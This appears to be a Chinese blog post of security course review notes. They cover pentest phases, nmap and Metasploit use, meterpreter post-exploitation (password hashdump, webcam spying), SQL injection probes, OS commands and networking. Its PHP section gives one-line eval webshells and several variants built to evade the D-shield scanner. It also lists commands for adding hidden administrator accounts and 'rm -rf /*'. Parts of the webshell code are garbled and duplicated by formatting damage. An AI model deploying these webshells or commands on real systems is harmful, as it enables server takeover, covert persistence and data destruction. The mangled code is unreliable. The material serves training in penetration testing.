网络安全一阶段复习

网络安全一阶段复习

一、渗透测试PTES标准

  • 前期交互

  • 信息收集

  • 威胁建模

  • 漏洞分析利用

  • 渗透攻击

  • 后渗透利用

  • 生成漏洞报告

前期交互
目标:与客户进行讨论,确定渗透测试范围和目标
信息收集
目的:了解目的系统开放的端口,系统版本,系统所在地的网络情况,ip地址,系统所在公司使用的防火墙情况,公司其他系统情况等信息,为渗透的实施提供尽可能多的有用信息。
  • 要善用搜索引擎,比如利用佛法,奇安信的hunter等进行信息收集
  • 使用nmap工具收集目标系统开放端口情况,以下是常用的nmap命令:能使用nmap扫描的前提是与目标主机能互相ping通
    • nmap -sT ip地址:进行TCP连接扫描,任意被发现,且速度慢
    • nmap -sU ip地址:进行UDP扫描,速度慢,但可以得到有价值的服务器程序
    • nmap -sS ip地址:进行SYN扫描,不易被发现,安全,平时被使用最频繁,且速度快
    • nmap -sA ip地址:检测哪些端口被屏蔽了
    • nmap -sV ip地址:对端口上的服务程序版本进行扫描
    • nmap -Pn ip地址:目标机禁用ping,能绕过ping扫描
    • nmap -O ip地址:对目标主机的操作系统进行扫描
    • nmap ip地址/地址掩码:对整个网段的主机进行扫描
威胁建模
目的:利用收集到的信息标识出系统可能存在的安全漏洞与弱点,并确定出最为高效的攻击方法,以及从哪里攻破目标系统。
  • win7系统可能存在ms17-010(永恒之蓝)漏洞,与SMB协议、445端口挂钩
  • XP系统可能存在ms08-067漏洞,与SMB协议、445端口挂钩
  • win10系统可能存在CVE-2020-0796(永恒之黑)漏洞
漏洞分析利用
目的:分析和理解哪些攻击途径是可行的,考虑如何获取得到目标系统的访问控制权。
渗透攻击
  • 在kali机器上开启msfconsole终端

  • search漏洞可以利用的模块

  • 先选择辅助模块,探测目标机是否存活

  • 选择攻击模块,并show options查看必须要配置的选项

  • 设置必需选项,选择攻击载荷

    • 正向连接的攻击载荷:band_tcp 攻击机主动向目标机发起连接

    • 反向连接的攻击载荷:reverse_tcp 目标机主动向攻击机发起连接(不易被目标机防火墙发现)

  • run发起攻击

后渗透利用
  • 进入了meterprete即代表成功攻入目标主机

  • 输入help查看可以执行的命令

    • getuid:查看当前用户权限

    • hashdump:获取密码的hash值,然后使用MD5解码

    • upload 源路径 目的路径:上传文件到目标机

    • download 源路径 目的路径:下载文件的到攻击机

    • webcam_list:查看摄像头设备

    • webcam_stream:打开视频监控

    • webcam_snap:拍照

生成漏洞报告
目的:说清楚渗透测试的过程做了什么,如何做的,以及告诉客户发现的漏洞或者缺陷,同时给出可以修复的可行方法或者建议。

二、web安全基础

URL的组成:协议://域名(或ip):端口号/路径?参数
  • 协议:http,https,其中https的实现时结合http和ssl

  • HTTP的常见请求方式:GET,POS,PUT,DELETE,TRACE,OPTIONS,HEAD

  • GET和POST的区别

    • 安全性:POST比GET更加安全,GET传输的内容会成为URL的一部分,而POST的请求内容不会出现在URL中
    • 数据传输大小:GET请求在URL中传输的参数长度是有限制,而POST没有,故POST可以发送更大的数据量
    • 数据传输类型:POST可以发送多种类型的数据,而GET只能发送ASCII字符
    • 传输速度:GET传输速度更快
    • POST用于修改或者写入数据,而GET多用于获取数据
  • POST请求包的组成

    • 请求行
    • 请求头
    • 空行
    • 请求体(也叫请求数据)
SESSION和COOKIE
  • 用来保存浏览器状态和身份认证的
  • SESSION和COOKIE都是由服务器产生的,但SESSION保存在服务器端而COOKIE保存在客户端
  • COOKIE信息可以通过浏览器设置查看,故SESSION比COOKIE更加安全
DNS和ARP
  • DNS为域名解析协议

    • 端口号:53
    • DNS欺骗:攻击者冒充域名服务器(即把别人请求资源的ip改为自己的ip)对其他主机进行欺诈,被骗者看到的内容以为是自己真正请求的资源,其实是攻击者设置的内容
  • ARP为地址解析协议

    • 把ip地址转为MAC地址
    • ARP欺骗:攻击者充当中间人,并且向目标机欺骗说自己就是网关,同时也向网关欺骗说自己就是目标机。当攻击机开启转发功能时,目标机可以正常上网
    • ARP断网:攻击机伪造目标机的网关MAC地址,使得目标机以为攻击机就是网关,从而向假的网关发送网络请求,此时假的网关并不会转发请求,故目标机会出现断网情况
常见协议与端口号
端口号协议
21、20ftp
22ssh
23telnet
25smtp
53dns
63whois(查询域名/ip所有者信息)
67、66dhcp
80http
110pop3
143imap
161、162snmp
443https
3389远程桌面连接协议
1433SQL Server
3306MySql
1521Oracle
5433PostgreSql
6379redis
27017MongoDB
OWASP TOP10热门漏洞

在这里插入图片描述

三、MYSQL数据库

数据库的连接
  • 命令:mysql -h 目的数据库ip -u username -p
    • 回车输入密码,也可在p后面直接写上密码
    • 当连接的是本地数据库时可以不写 -h及这部分参数
常用的命令
  • 查看有哪些库:show databases;
  • 进行表的操作前要先选择某个库:use 库名;
  • 查询某个库下的所有表:show tables;
  • 对结构的操作
    • 改表名:alter table 表名 rename 表名
    • 修改字段类型和约束条件:alter table 表名 modify 字段名 数据类型----不能修改字段名
    • 修改字段名和类型:alter table 表名 change 旧字段名 新字段名 类型
    • 增加表的字段:alter table 表名 add 字段名 类型
    • 删除表中的字段::alter table 表名 drop 字段
    • 删除表:drop table [if exists] 表名;
    • 删除数据库:drop database [if exists] 库名
SQL注入
  • 输入 ’ 和 ‘’ 提出不同的错误,且和sql语句有关,说明很大可能存在sql注入
  • 在登录界面可以尝试使用’ or 1=1 # 进行注入
  • 联合注入
    • 首先使用“order by 字段的序号” 判断行数
    • 然后使用union判断回显位(可以判断某个sql语句是查询几个字段和字段名):union select 1[,2,3,] ----一位位试下去
内置函数
  • 截取函数

    • substr(str,开始位置,截取长度),mid()和substr用法一样
    • left,right判断左边右边第几位是什么:如left(str,1)可以输出左边其第一位字符
  • 判断函数

    • if(判断条件,v1,v2):条件成立返回v1不成立返回v2
  • 编码函数

    • ascii(str):返回str的ascii码
    • char(数字):返回ascii对应的字符
    • hex(),oct():返回十六进制和十进制
  • 系统函数

    • version():返回版本信息
    • 返回当前数据库名
      • database()
      • schema()
    • 查看当前用户
      • user()
      • current_user()
      • system_user()
      • session_user()
创建mysql用户并且授权
  • 创建新用户:create user ‘username’ @‘%’ identified by ‘password’;
  • 给用户授权:grant all privileges on * . * to ‘uername’@‘%’;
    • %b表示允许任何ip地址连接到mysql服务器

四、操作系统

windows命令/DOS命令(常用)
  • whoami:查看当前用户

  • net user:查看所有用户

  • net user uername password /add:添加用户

  • net user uername$ password /add:添加隐藏用户

  • net localgroup adminstrators username /add:把用户添加到管理员组

  • net user username /del:删除用户

  • ipconfig /ipconfig -all :查看ip及网关信息

  • arp -a:查看arp表,及ip与mac地址的对应关系

  • cd 路径:切换目录

  • cd …:返回上一级目录

  • dir:查看当前文件夹内容

  • shutdown /s:关机

  • shutdown /r:重启

  • shutdown /l:注销

  • shutdown /h/f:休眠

  • shutdown /a:取消关机

  • shutdown /s/t n:n秒后关机

  • ping ip/域名:网络连通性和延迟,丢包率

    • -t:一直ping
    • -n 数字:ping n次
  • tracert ip/域名:路由追踪

  • ipconfig /flushdns:去除本地DNS缓存

  • tasklist:显示当前正在运行的进程

  • 结束进程taskkill

    • /im 程序名:按名称结束
    • /pid num:按pid结束
  • start 程序名:运行程序或者命令

  • net start 服务名:启动指定服务

  • net stop 服务名:停止指定服务

Linux常见命令
  • ifconfig:查看ip地址

    • -a:查看详细信息
  • sudo su:切换到管理员权限

    • 回车输入密码,此时密码时不显示的
  • cd:切换目录

    • 具体路径
    • …/:返回上一级
    • ./:当前目录
    • /:返回根目录
  • pwd:查看当前路径

  • ls/ll:查看当前文件夹内容,ll则把权限也列出来

  • mkdir 目录名:在当前目录下创建一个目录

    • mkdir /xx/xxx/新目录名:在指定目录下创建某个目录
  • rm 文件名:删除当前目录下的文件

    • -f 文件名:删除当前目录下的文件且不询问
    • -r 文件名:递归删除当前目录下的文件
    • -rf 文件名:递归删除当前目录下的文件并且不询问
    • -rf *:递归删除当前目录下的所有文件并且不询问
    • -rf /*:递归删除根目录下的所有文件并且不询问
  • find:查找指定文件或者命令

    • find /bin -name ‘a’:查找bin下所有以a开头的命令或者文件
  • 文件操作

    • touch 文件名:创建文件
    • vi/vim 文件名:打开需要编辑的文件
    • cat 文件名:查找文件内容
    • chmod +r/w/x 文件名,也可以是数字r(4),w(2),x(1):给文件授权
    • echo ‘内容’ >> 文件名:在文件后面追加内容
      • echo ‘内容’ >文件名:直接覆盖文件内容
  • server network restart:重启网卡

  • ps :查看所有进程

    • -ef:查看所有重载运行的进程
  • kill pid:根据pid杀死进程

    • kill -9 pid:强制杀死进程
  • netstart -an:查看当前系统端口

    • -an|grep 端口号:查看指定端口
  • ssh ip:远程连接主机

  • ctrl+l快捷键:快速清屏

五、网络基础

TCP/IP四/五层模型
  • 在这里插入图片描述

    • OSI七层模型的第一次是在物理层,其他是从上往下数的
各层常见的设备
  • 物理层:交换机、路由器、集线器、中继器
  • 数据链路层:网桥、交换机
  • 网络层:路由器
vlan的划分根据
  • 端口
  • MAC地址
  • 协议
  • 子网

六、php

基本结构
  • <?php 在这里写代码 ?>
一句话木马
  • 其实就是<?php assert($_POST/_GET[‘参数’]); ?>,

    • <?php eval@($_POST/_GET[‘参数’]); ?>这两句话的变形
  • php高版本以及不能使用assert构造一句话木马了,故大多数只能用eval来变形,即让查杀工具无法识别_POST[]/_GET[]即可

能绕过D盾的一句话木马变形
  • 利用无效字符构成参数执行eval

    • 例如:` a r r = arr= arr=_GET[‘x’];

      ​ $ab=NULL;

      ​ $r=‘’;

      ​ eval( r . r. r.ab.$arr);

      ​ //或者使用函数

      ​ function go(){

      ​ return ‘’.$_GET[‘x’].‘’;

      ​ }

      ​ eval(go()); `

  • 利用类中的方法执行eval

    • 例如:`class MyClass{

      ​ var $item;

      ​ function setItem($str){

      t h i s − > i t e m = ′ ′ . this->item=''. this>item=′′.str.‘’;

      ​ }

      ​ function go(){

      ​ eval(“$this->item”);

      ​ }

      }

      $run = new MyClass;

      r u n − > s e t I t e m ( run->setItem( run>setItem(_GET[‘x’]);

      $run->go(); `

  • 利用析构函数执行eval

    • 例如:` class MyClass{

      ​ var $item;

      ​ function setItem($str){

      t h i s − > i t e m = this->item= this>item=str;

      ​ }

      ​ function __destruct(){

      ​ eval(“$this->item”);

      ​ }

      }

      $run = new MyClass;

    ​ eval(“$this->item”);

    ​ }

    }

    $run = new MyClass;

    r u n − > s e t I t e m ( run->setItem( run>setItem(_GET[‘x’]);

    $run->go(); `

  • 利用析构函数执行eval

    • 例如:` class MyClass{

      ​ var $item;

      ​ function setItem($str){

      t h i s − > i t e m = this->item= this>item=str;

      ​ }

      ​ function __destruct(){

      ​ eval(“$this->item”);

      ​ }

      }

      $run = new MyClass;

      r u n − > s e t I t e m ( run->setItem( run>setItem(_GET[‘x’]); `

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱学技术的阿拉斯加

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值